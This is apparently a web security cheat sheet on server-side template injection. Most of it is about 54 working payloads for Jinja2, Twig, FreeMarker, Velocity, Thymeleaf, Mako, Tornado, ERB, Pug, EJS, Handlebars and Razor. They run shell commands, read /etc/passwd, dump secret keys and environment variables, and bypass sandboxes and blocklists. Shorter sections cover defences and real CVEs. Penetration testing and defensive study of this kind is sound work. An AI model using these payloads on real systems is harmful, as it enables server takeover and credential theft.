Vulnsy
All cheat sheets

Server-Side Template Injection (SSTI) Cheat Sheet

criticalOWASP Top 10 A03CWE-94CWE-1336

Server-Side Template Injection (SSTI) occurs when user input is concatenated into a template that the server evaluates, letting an attacker reach arbitrary expressions and usually remote code execution. Detect SSTI by sending a polyglot like ${{<%[%'"}}%\ then identify the engine with the divergence test {{7*'7'}} (Jinja → 7777777, Twig → 49). Exploit via engine-specific gadgets — Jinja2 globals, Twig filter callbacks, FreeMarker ?new(), Velocity classloader, ERB system().

After confirming the engine, focus on sandbox-escape gadgets that survive blocklists (lipsum/cycler globals, callback-accepting filters, JythonRuntime, ProcessBuilder reflection) and check email-template, report-builder and notification surfaces — these are where modern SSTI keeps surfacing in 2024–2026 CVEs.

54 payloads across 8 technique families

Detection & Engine Fingerprinting

Universal detection probes plus per-engine discriminators. Send the polyglot first to trigger parser errors; then use math probes to determine syntax family and the divergence test to disambiguate Jinja2 from Twig.

Detection signals
  • Stack trace class names disclose the engine (jinja2.exceptions.UndefinedError, Twig\Error\SyntaxError, freemarker.core.ParseException, mako.exceptions.SyntaxException).
  • Math probes that render the result (49 / 7777777) confirm expression evaluation, not just reflection.
  • Differential timing on lazy resolvers (Jinja2, Twig debug) can fingerprint the engine when the response body is identical.

Universal polyglot probe

${{<%[%'"}}%\

PortSwigger's canonical polyglot triggers parse errors in nearly every templating engine — the resulting stack trace usually leaks the engine class name (jinja2.exceptions, Twig\Error\SyntaxError, freemarker.core.ParseException).

OWASP polyglot reflection probe

a{{bar}}b

OWASP WSTG 4.7.18 probe — engines that evaluate {{bar}} return ab; engines that don't return the literal string. Cheap detection that does not depend on errors.

Math evaluator (curly)

{{7*7}}

Returning 49 confirms the engine evaluates expressions in {{ }} delimiters: Jinja2, Twig, Tornado, Handlebars-with-helpers, Mustache (no), Liquid (yes via filter).

Math evaluator (dollar)

${7*7}

Returning 49 indicates a JVM/Mako-style engine: FreeMarker, Velocity (via #set), Mako, Spring SpEL/Thymeleaf.

Jinja2 vs Twig discriminator

{{7*'7'}}

Jinja2 evaluates this to 7777777 (Python string repetition); Twig evaluates it to 49 (PHP coerces '7' to int). One of the most reliable two-engine disambiguators.

Smarty version probe

Smarty
{$smarty.version}

Reflects the Smarty version literally — fingerprint and indicates Smarty engine without triggering errors.

Velocity bind probe

Velocity
#set($x=7*7)$x

Velocity uses #set directives instead of {{ }}. Returning 49 confirms Apache Velocity or a Velocity-derived engine.

Tornado settings reflector

Tornado
{{handler.settings}}

Reflects the Tornado application settings dict (often containing cookie_secret) — both fingerprints Tornado and yields a high-value secret.

Jinja2 (Python / Flask)

Jinja2 in Flask defaults to an unsandboxed Environment. RCE is reached by walking Python's class hierarchy from a string literal up to subclasses that import os, or via Flask globals (request, config, lipsum, cycler, namespace) that already carry __globals__.

Detection signals
  • {{7*'7'}} returns 7777777.
  • jinja2.exceptions.UndefinedError or jinja2.exceptions.TemplateSyntaxError appears in stack traces.
  • {{config}} or {{self}} reflects a non-trivial dict-like structure.

Flask config dump

{{config.items()}}

Flask's config object reflects every key including SECRET_KEY — useful for session forgery without RCE.

lipsum globals chain

{{lipsum.__globals__['os'].popen('id').read()}}

lipsum is a Flask-provided global whose __globals__ already contains os — bypasses blocklists that ban subclass walks but allow attribute access.

cycler globals chain

{{cycler.__init__.__globals__.os.popen('id').read()}}

cycler is another Jinja2 global with os reachable in its __init__'s __globals__. Equivalent power to lipsum, useful when one is filtered.

namespace globals chain

{{namespace.__init__.__globals__.os.popen('id').read()}}

Jinja2's namespace() helper exposes the same os import in its __init__.__globals__ — fallback when lipsum/cycler are blocked.

request.application globals chain

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

When request is in scope, request.application.__globals__ leads to __builtins__ and __import__ — works whenever a Flask request context renders the template.

Subclass walk (engine-agnostic)

{{''.__class__.__mro__[1].__subclasses__()}}

Walks the MRO of str up to object then enumerates every subclass — reveals indices for Popen/file/os._wrap_close that you then call to execute commands.

attr-bypass for underscore blocklist

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Hex-escaping underscores in the |attr() filter bypasses naive blocklists for "_" / "__" while still reaching builtins.__import__.

Filter chain via warning subclass

{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}

Iterates subclasses to locate the catch_warnings entry, whose ._module exposes builtins — engine-agnostic to subclass index changes between Python versions.

Twig (PHP / Symfony / Drupal / Grav)

Twig's sandbox is optional and has been bypassed repeatedly via callback-accepting filters (map, reduce, filter, sort) plus constant() and string-callable invocation. CVE-2024-45411 and CVE-2024-28119 (Grav) are the modern reference points.

Detection signals
  • {{7*'7'}} returns 49 (PHP coerces).
  • Twig\Error\SyntaxError or Twig_Error_Syntax appears in stack traces.
  • {{_self}} reflects a template name like __string_template__abc123.

_self template reference

{{_self}}

Reflects the current template name — confirms Twig and exposes the path used in pre-2.x _self.env.registerUndefinedFilterCallback chains.

Twig 1.x registerUndefinedFilterCallback

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Pre-2.x Twig let you register exec as the undefined-filter handler, then trigger it by calling an undefined filter named after your command — the original Kettle-era Twig RCE.

filter callback to system

{{['id']|filter('system')}}

The filter() filter accepts a string callable in Twig 1.x+. PHP's system() executes the array element as a shell command.

map callback to system

{{['id']|map('system')|join}}

map() applies a string-named PHP function to each element — bypasses sandbox configurations that allowlist filter() but forget map().

sort callback abuse

{{['cat /etc/passwd']|sort('system')|join}}

sort()'s comparison callback is invoked with array elements as arguments — passing system as the comparator runs the element string in a shell.

reduce callback (CVE-2024-45411 family)

{{ ['id']|reduce('system') }}

reduce() exposes another string-callable surface; this is the bypass class fixed in CVE-2024-45411 against Twig's SandboxExtension.

constant() reach to system

{{ {'a':'cat /etc/passwd'}|filter(constant('system')) }}

constant() resolves a constant name to its value but PHP also accepts function names as constants here — getting system into the callback indirectly.

String-callable invocation

{{ "system"("id") }}

Twig 1.x permitted calling a string as a function — direct system("id") if the sandbox is off or string-call is whitelisted.

JVM Engines (FreeMarker, Velocity, Thymeleaf)

JVM template engines reach RCE via reflective class instantiation: FreeMarker's ?new() builtin, Velocity's $class.forName, and Thymeleaf's SpEL escape with __${...}__ syntax.

Detection signals
  • ${7*7} returns 49.
  • freemarker.core.ParseException, org.apache.velocity.exception.ParseErrorException, or SpEL EvaluationException in stack traces.
  • ?new() or $class.inspect rendering without throwing indicates the dangerous resolvers are still enabled.

FreeMarker Execute (Kettle classic)

FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

FreeMarker's ?new() builtin instantiates the named class. Execute is a built-in utility that runs a shell command — the original Kettle FreeMarker RCE.

FreeMarker ObjectConstructor + ProcessBuilder

FreeMarker
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}

When Execute is blocked but ObjectConstructor is allowed, instantiate ProcessBuilder reflectively and call .start() — equivalent RCE.

FreeMarker JythonRuntime

FreeMarker
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("import os; os.system('id')")}

Final fallback when both Execute and ObjectConstructor are blocklisted — JythonRuntime evaluates Python source if Jython is on the classpath.

Velocity classloader RCE

Velocity
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")

Velocity's ClassTool ($class) reflects on Runtime then calls getRuntime().exec — works against legacy Confluence-era apps where ClassTool is exposed.

Velocity multi-line forName chain

Velocity
#set($x = '')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($ex = $rt.getRuntime().exec('id'))##
$ex.waitFor()

Bypasses ClassTool absence by walking from any object's .class to forName('java.lang.Runtime'); waitFor() forces synchronous execution.

Thymeleaf SpEL escape

Thymeleaf
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Thymeleaf's __${ }__::.x syntax forces evaluation as a Spring SpEL expression — T() invokes the Type accessor to reach Runtime even when the expression context appears restricted.

FreeMarker data-model leak

FreeMarker
${.data_model?keys}

Lists every bean exposed to the template — prerequisite reconnaissance for finding helpers that already grant filesystem or network access.

Mako & Tornado (Python)

Mako and Tornado are unsandboxed Python templating engines used in Pyramid/Pylons (Mako) and Tornado web stacks. Both expose os/subprocess directly through import statements inside the template.

Detection signals
  • mako.exceptions.SyntaxException or tornado.template.ParseError in stack traces.
  • {{7*7}} renders 49 in Tornado; ${7*7} renders 49 in Mako.
  • <% %> rendering with no error in Mako confirms code-execution mode.

Mako Python block

Mako
<%
import os
x = os.popen('id').read()
%>${x}

Mako's <% %> blocks execute arbitrary Python at render time — direct RCE without any sandbox bypass.

Mako module cache util

Mako
${self.module.cache.util.os.system("id")}

Mako exposes os via its internal cache utilities; useful when <% %> blocks are stripped but ${...} expression mode is allowed.

Mako file read via subclass

Mako
${"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}

Same Python class-hierarchy walk as Jinja2 but inside a Mako ${} expression — the subclass index targets the file class.

Tornado os import

Tornado
{% import os %}{{os.popen('id').read()}}

Tornado templates accept Python {% import %} directives by default — instant os access.

Tornado subprocess import

Tornado
{% import subprocess %}{{subprocess.check_output('id', shell=True)}}

Equivalent to the os import path; subprocess.check_output captures stdout for reflection-based exfil.

Tornado handler settings leak

Tornado
{{handler.settings}}

Dumps Tornado application settings — typically contains cookie_secret which is enough for forging signed sessions even without RCE.

ERB / Slim / Haml (Ruby)

Ruby template engines are unsandboxed by design — ERB literally executes Ruby between <% %> tags. RCE is one system() call away once injection is confirmed.

Detection signals
  • <%= 7*7 %> renders 49.
  • (erb):N:in '<main>' or NoMethodError stack traces.
  • <%= 7*'7' %> raises TypeError — distinguishes ERB from Jinja/Twig.

ERB system call

ERB
<%= system("id") %>

system() runs a shell command and returns true/false; the boolean reflects in the response, which is enough to confirm execution.

ERB backticks

ERB
<%= `id` %>

Backticks return stdout as a string — gives both confirmation and exfil in a single payload.

ERB IO.popen

ERB
<%= IO.popen('id').read %>

IO.popen avoids backticks if they're filtered; .read collects stdout for reflection-based exfil.

ERB file read

ERB
<%= File.open('/etc/passwd').read %>

When a server-side filter blocks shell calls, fall back to File.open for direct filesystem disclosure.

Open3.capture2

ERB
<%= require 'open3'; Open3.capture2('id')[0] %>

Open3 returns [stdout, stderr, status]; capture2 captures stdout — a more controlled alternative to backticks.

Kernel.exec

ERB
<%= Kernel.exec("id") %>

Kernel.exec replaces the current process — useful as a destructive proof when stealth is unnecessary.

Environment dump

ERB
<%= ENV.to_h %>

Twelve-factor Ruby apps store DB credentials and API keys in env vars — ENV.to_h dumps the whole table for credential pivot without needing RCE.

Handlebars / Pug / EJS (Node.js)

Handlebars is logic-less by design but reachable via the constructor walk; Pug and EJS are unsandboxed and reach require('child_process') through global.process.mainModule.

Detection signals
  • #{7*7} renders 49 (Pug).
  • <%= 7*7 %> renders 49 (EJS).
  • Handlebars: literal "7*7" rendered initially — the constructor walk confirms reachability.

Pug child_process

Pug
#{global.process.mainModule.require('child_process').execSync('id').toString()}

global.process.mainModule.require bypasses any local require shadowing because mainModule is reachable from the global object.

Pug var assignment

Pug
- var x = global.process.mainModule.require('child_process').execSync('id'); = x

Pug allows arbitrary JS in - var lines; assigns the command output to a variable then renders it on the next line.

EJS child_process

EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>

EJS uses <%- %> for unescaped output; combined with the same mainModule trick yields direct RCE.

Handlebars constructor walk

Handlebars
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Walks Handlebars helpers + lookup + each to reconstruct a Function constructor and invoke it with require('child_process') — works when noEscape is enabled or default helpers are unpinned.

EJS opts.escapeFunction abuse

EJS
<%# settings.view options.escapeFunction abuse %>

EJS exposes options.escapeFunction at render time — controlling it (via prototype pollution chain) yields code execution on every escape call. Often paired with a JSON-merge bug elsewhere in the app.

Razor (.NET) & Go html/template

Razor compiles to C# so any expression yields code execution once injection is confirmed — usually requires a writable view path. Go html/template is sandboxed by stdlib design and only reaches RCE through custom funcs.

Detection signals
  • @(7*7) renders 49 (Razor).
  • {{.}} renders a struct dump (Go).
  • Razor RCE typically requires write-access to a .cshtml file — chain LFI/upload + SSTI.

Razor C# code block

Razor
@{ var p = System.Diagnostics.Process.Start("cmd.exe","/c whoami"); }

Razor @{ } executes arbitrary C#. Process.Start invokes cmd.exe — Windows-equivalent of Runtime.exec.

Razor process with stdout capture

Razor
@System.Diagnostics.Process.Start("cmd","/c whoami").StandardOutput.ReadToEnd()

Captures stdout for reflection — useful when the @{ } block runs but its return value isn't rendered.

Razor file read

Razor
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")

When Process.Start is sandboxed, File.ReadAllText still confirms code execution and reads sensitive files.

Go context dump

Go html/template
{{.}}

Renders the entire context object — may leak sensitive struct fields even though Go html/template is RCE-safe by default.

Go custom func RCE

Go html/template
{{call .Func "id"}}

Go templates only reach RCE if a custom FuncMap exposes os/exec. {{call .Func "id"}} invokes a developer-registered helper with the supplied argument.

Modern bypasses (2023–2026)

Jinja2 globals chain (lipsum / cycler / namespace)

When _ and __ are blocklisted, Flask globals lipsum, cycler, namespace and request.application all carry __globals__ pointing at modules where os is already imported. Combine with |attr() and \x5f hex-escapes to bypass underscore filters.

{{lipsum.__globals__['os'].popen('id').read()}}

Twig sandbox bypass via callback filters (CVE-2024-45411)

Twig's SandboxExtension historically allowlisted filter()/map()/reduce()/sort() but each accepts a string-named PHP function as a callback. Combine with constant() to reach system() even when the function name is denylisted.

{{ ['id']|reduce('system') }}

FreeMarker JythonRuntime / ObjectConstructor fallback

When freemarker.template.utility.Execute is blocklisted, ObjectConstructor?new() builds java.lang.ProcessBuilder reflectively, and JythonRuntime?new() evaluates Python source if Jython is on the classpath.

${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}

Thymeleaf __${...}__::.x SpEL escape

Thymeleaf's preprocessing __${ }__ markers force the inner expression through Spring Expression Language, where T(java.lang.Runtime) reaches getRuntime().exec — bypasses naive expression-context restrictions.

__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Handlebars constructor walk (logic-less bypass)

Handlebars is logic-less, but {{#with "constructor"}} chained with lookup and each rebuilds a Function constructor — RCE without an expression evaluator. Triggered when noEscape is on or default helpers aren't pinned.

Pug / EJS via global.process.mainModule.require

Local require may be shadowed, but global.process.mainModule.require is always reachable from the global object and returns Node's real require — instant child_process access.

#{global.process.mainModule.require('child_process').execSync('id').toString()}

Email-template & report-builder SSTI surfaces

Modern Jinja2 SSTI keeps surfacing in *notification body* templates (Fides, changedetection.io) and *report/recipe* fields (Tactical RMM, Tandoor) where developers pass user-controlled strings to Environment.from_string() without sandboxing.

Defences

Don't let users author templates — use a logic-less engine

The only fully reliable defense is to treat template source as code and never accept it from users. When templating is unavoidable, pick a logic-less engine (Mustache, Liquid, pre-compiled Handlebars partials) where there is no expression evaluator to abuse.

// GOOD — Mustache is logic-less by design; no expressions, no RCE primitive
const Mustache = require('mustache');
const html = Mustache.render('Hello {{name}}!', { name: userInput });

// BAD — Handlebars with default helpers + noEscape allows constructor walk
const Handlebars = require('handlebars');
const tpl = Handlebars.compile(userTemplate, { noEscape: true });

Sandboxed Jinja2 environment (Python)

Use SandboxedEnvironment (or ImmutableSandboxedEnvironment) and never call Environment.from_string with user input. Pin autoescape=True. Pass user data as context variables, never as part of the template source.

from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import ImmutableSandboxedEnvironment

# GOOD — sandboxed environment + file loader + autoescape
env = ImmutableSandboxedEnvironment(
    loader=FileSystemLoader('templates/'),
    autoescape=select_autoescape(['html', 'xml']),
)
template = env.get_template('email.html')
rendered = template.render(name=user_name, body=user_body)

# BAD — feeds user input straight into Environment.from_string
env = Environment()
template = env.from_string(user_template_source)  # SSTI, RCE

Twig sandbox extension with explicit allowlist (PHP)

Wrap user-rendered templates with SandboxExtension + SecurityPolicy enumerating allowed tags, filters and functions. Never call Environment::createTemplate on a string sourced from user input. Explicitly drop callback-accepting filters.

<?php
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;

$tags       = ['if', 'for'];
$filters    = ['escape', 'upper', 'lower', 'date'];   // NO map/filter/reduce/sort
$methods    = [];
$properties = [];
$functions  = ['range'];

$policy  = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy, true); // sandbox-by-default

$twig = new Environment(new ArrayLoader(['user' => $userTemplateSource]));
$twig->addExtension($sandbox);
echo $twig->render('user', ['name' => $name]);

FreeMarker safer-resolver hardening (Java)

Set the new-builtin class resolver to SAFER_RESOLVER and disable the api builtin. This blocks ?new() from instantiating Execute / ObjectConstructor / JythonRuntime — the canonical FreeMarker RCE primitives.

import freemarker.template.Configuration;
import freemarker.core.TemplateClassResolver;

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setLogTemplateExceptions(false);
cfg.setWrapUncheckedExceptions(true);
// Render with bound model only — never concatenate user input into template source
Template tpl = cfg.getTemplate("email.ftlh");
tpl.process(model, writer);

Render context variables, never template strings

Pass user input as data to a fixed template, never as part of template source. render_template("page.html", name=user_name) is safe; render_template_string(user_data) is not.

# GOOD — fixed template, user value bound as context variable
return render_template('page.html', name=user_name, body=user_body)

# BAD — user content lands in template source
return render_template_string('Hello ' + user_name)        # SSTI
return render_template_string(user_supplied_template)      # SSTI

# BAD (Tactical RMM CVE-2025-69516 / Tandoor CVE-2025-23211 pattern)
env = Environment()
env.from_string(user_supplied_recipe).render()             # SSTI

Run renderer in an isolated worker

For high-risk surfaces (notification bodies, report builders, admin macros), render templates in a separate process or WASM worker with no filesystem and no network egress. Combined with a strict CSP and outbound allowlist, this blunts RCE-to-data-exfil even if a sandbox bypass lands.

Real-world CVEs

CVEYearTitleDescription
CVE-2025-232112025Tandoor Recipes Jinja2 SSTI → RCEAuthenticated user injects Jinja2 in recipe text fields; Tandoor passes the string to Environment.from_string() without sandboxing, yielding arbitrary command execution as the recipe service user.
CVE-2025-695162025Tactical RMM Jinja2 SSTI via report templatestemplate_md parameter is rendered with Environment.from_string() and no sandbox; even low-priv "Report Viewer" users reach RCE on the RMM server.
CVE-2024-454112024Twig sandbox bypass via callback filtersTwig's SandboxExtension allowlisted filter/map/reduce/sort, each of which accepts a string-named PHP function as callback — letting attackers reach system() despite a configured sandbox.
CVE-2024-281192024Grav CMS Twig escape-handler SSTIGrav's admin-area Twig integration mishandled the escape handler context, letting authenticated authors break out of autoescape and reach Twig RCE.
CVE-2024-247242024Gibbon LMS authenticated Twig SSTIGibbon LMS ≤ 26.0.0 allowed authenticated users to inject Twig in template parameters, yielding remote code execution on the school management server.
GHSA-4r7v-whpg-8rx32024changedetection.io Jinja2 SSTI in notification templatesNotification body templates were rendered server-side with a non-sandboxed Jinja2 environment — a recurring 2024–2025 pattern of SSTI moving from page templates to notification surfaces.
GHSA-c34r-238x-f7qx2024Ethyca Fides email-template Jinja2 SSTIFides webserver exposed Jinja2 to admin-controlled email-templating bodies, allowing RCE through the privacy notification engine.

Further reading